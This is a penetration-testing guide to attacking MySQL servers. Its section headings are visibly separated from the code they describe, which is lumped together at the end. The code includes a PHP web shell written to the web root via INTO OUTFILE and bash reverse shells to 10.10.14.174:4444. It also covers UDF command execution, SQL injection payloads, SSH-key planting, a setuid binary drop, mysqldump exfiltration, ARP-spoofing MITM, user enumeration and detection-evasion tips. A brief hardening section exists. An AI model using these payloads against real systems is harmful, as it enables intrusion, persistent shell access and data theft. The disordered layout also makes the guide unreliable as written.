MySQL is one of the most widely used relational database management systems in the world. As an open-source solution, it powers countless web applications, content management systems, and enterprise solutions. From a penetration testing perspective, MySQL databases often contain valuable information and can serve as stepping stones for deeper network penetration.
Basic Concepts
MySQL typically operates on port 3306/TCP and uses a client-server architecture:
mysqld: The server daemon that handles database operations
mysql: The command-line client for interacting with the server
Default Databases in MySQL
MySQL installations include several system databases:
mysql: System database containing user accounts and privileges
information_schema: Provides access to database metadata
performance_schema: Used for monitoring MySQL server execution
sys: A set of objects that helps interpret performance schema data
Enumeration Techniques
Port Scanning
Example output:
Banner Grabbing
The server responds with a banner that often includes version information:
Authentication Methods
Authentication Basics
MySQL supports multiple authentication methods:
Username/password authentication
Unix socket authentication (local)
Windows authentication (when on Windows)
Plugin-based authentication (PAM, LDAP, etc.)
Connecting to MySQL
Testing for Default Credentials
Common default credentials include:
root with no password
root/root
root/password
admin/admin
Brute Force Attacks
Post-Authentication Enumeration
Once authenticated, gather information about the database environment:
Listing Databases
Example output:
Selecting a Database
Listing Tables
Example output:
Viewing Table Structure
Example output:
Querying Data
Example output:
Server Configuration Information
User Information and Privileges
Exploiting MySQL Vulnerabilities
File System Access
MySQL can be used to read from and write to the file system if configured improperly:
Reading Files
Writing Files
Common locations to target:
User-Defined Functions (UDFs)
If the MySQL user has sufficient privileges, UDFs can be loaded to execute system commands:
SQL Injection
When MySQL is used by web applications, SQL injection vulnerabilities may exist:
Privilege Escalation
Exploiting MySQL for System Access
If MySQL is running as root or a privileged user, it can be leveraged for privilege escalation:
Abusing MySQL Administration Tools
Network Attacks
Capturing MySQL Traffic
Man-in-the-Middle (MITM) Attacks
If MySQL is not using SSL/TLS, credentials and queries may be intercepted:
Relay Attacks
Similar to SMB relay attacks, MySQL credentials can sometimes be relayed to other services:
Defense Evasion Techniques
Avoiding Detection During Testing
Rate limiting: Space out authentication attempts
Minimal queries: Only execute necessary queries
Controlled connections: Don't establish too many connections simultaneously
Clean up: Remove temporary files or artifacts
Securing MySQL Services
When testing MySQL services, consider these security recommendations:
Authentication: Use strong, unique passwords and consider MFA
User privileges: Apply principle of least privilege
Encryption: Enable SSL/TLS for connections
Auditing: Enable audit logging
Regular updates: Keep MySQL software updated
Penetration Testing Methodology
When testing MySQL services, follow these steps:
Discovery: Identify MySQL services through port scanning
Enumeration: Determine version and configuration
Authentication testing: Test for weak credentials
Privilege assessment: Identify permissions of authenticated users
Data analysis: Enumerate and analyze accessible databases
Vulnerability testing: Test for known vulnerabilities based on version
Configuration review: Assess security settings
Exploitation: Leverage identified vulnerabilities
Practical Testing Scripts
Automated MySQL User Enumeration
Database Schema Mapper
Common MySQL Commands Reference
By understanding MySQL services and their security implications, penetration testers can effectively identify vulnerabilities and provide valuable recommendations for securing these critical database systems.
SHOW VARIABLES;
SHOW VARIABLES LIKE '%version%';
SHOW VARIABLES LIKE '%datadir%';
SHOW VARIABLES LIKE '%secure%';
SELECT user, host, authentication_string FROM mysql.user;
SHOW GRANTS;
SHOW GRANTS FOR 'username'@'host';
SELECT LOAD_FILE('/etc/passwd');
-- Check if secure_file_priv is set
SELECT @@secure_file_priv;
-- Write a file (if permitted)
SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php';
-- For XAMPP
SELECT "<?php exec('/bin/bash -c \'bash -i >& /dev/tcp/10.10.14.174/4444 0>&1\''); ?>" INTO OUTFILE 'C:/xampp/htdocs/shell.php';
-- For IIS
SELECT "<?php exec('/bin/bash -c \'bash -i >& /dev/tcp/10.10.14.174/4444 0>&1\''); ?>" INTO OUTFILE 'C:/inetpub/wwwroot/shell.php';
-- For WAMP
SELECT "<?php exec('/bin/bash -c \'bash -i >& /dev/tcp/10.10.14.174/4444 0>&1\''); ?>" INTO OUTFILE 'C:/wamp/www/shell.php';
-- Create a function that executes system commands
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';
-- Use the function
SELECT sys_exec('id > /tmp/output.txt');
# Example injection payload
' OR 1=1 -- -
' UNION SELECT 1,2,database(),user() -- -
' UNION SELECT 1,2,table_name,4 FROM information_schema.tables WHERE table_schema=database() -- -
-- Write SSH key to authorized_keys file
SELECT "ssh-rsa AAAA..." INTO OUTFILE '/home/user/.ssh/authorized_keys';
-- Create a setuid binary
SELECT 0x7f454c4602... INTO DUMPFILE '/tmp/suid';
# Using mysqldump to extract data
mysqldump -u username -p'password' -h 10.129.20.13 --all-databases > dump.sql
# Extracting specific tables
mysqldump -u username -p'password' -h 10.129.20.13 htbusers users > users_dump.sql
# Using Wireshark or tcpdump
sudo tcpdump -i eth0 -A -s 0 'port 3306'
# Using Ettercap for MITM
sudo ettercap -T -q -i eth0 -M arp:remote /10.129.20.13/ //
# Example with custom relay tool
./mysql_relay.py -l 3306 -r target_ip -rp target_port
#!/bin/bash
# Simple MySQL user enumeration
SERVER=$1
USERLIST=$2
SUCCESS_STRING="Access denied" # Counter-intuitive but this means user exists
for user in $(cat $USERLIST); do
echo "Testing user: $user"
output=$(mysql -h $SERVER -u $user 2>&1)
if echo "$output" | grep -q "$SUCCESS_STRING"; then
echo "[+] Valid user found: $user"
fi
done
#!/bin/bash
# Map schema after authentication
SERVER=$1
USER=$2
PASS=$3
mysql -h $SERVER -u $USER -p$PASS -e "
SELECT table_schema,
COUNT(DISTINCT table_name) AS tables_count,
GROUP_CONCAT(DISTINCT table_name SEPARATOR ', ') AS table_list
FROM information_schema.columns
GROUP BY table_schema;"
-- Server Information
STATUS;
SELECT VERSION();
SELECT @@version;
SELECT @@hostname;
SELECT @@datadir;
-- User Information
SELECT USER();
SELECT CURRENT_USER();
SELECT user,host,authentication_string FROM mysql.user;
-- Database Operations
SHOW DATABASES;
CREATE DATABASE testdb;
DROP DATABASE testdb;
-- Table Operations
SHOW TABLES;
DESCRIBE tablename;
SHOW CREATE TABLE tablename;
SELECT * FROM tablename LIMIT 10;
SELECT COUNT(*) FROM tablename;
-- File Operations
SELECT @@secure_file_priv;
SELECT LOAD_FILE('/etc/passwd');
SELECT "test" INTO OUTFILE '/tmp/test.txt';
-- Process Information
SHOW PROCESSLIST;
KILL process_id;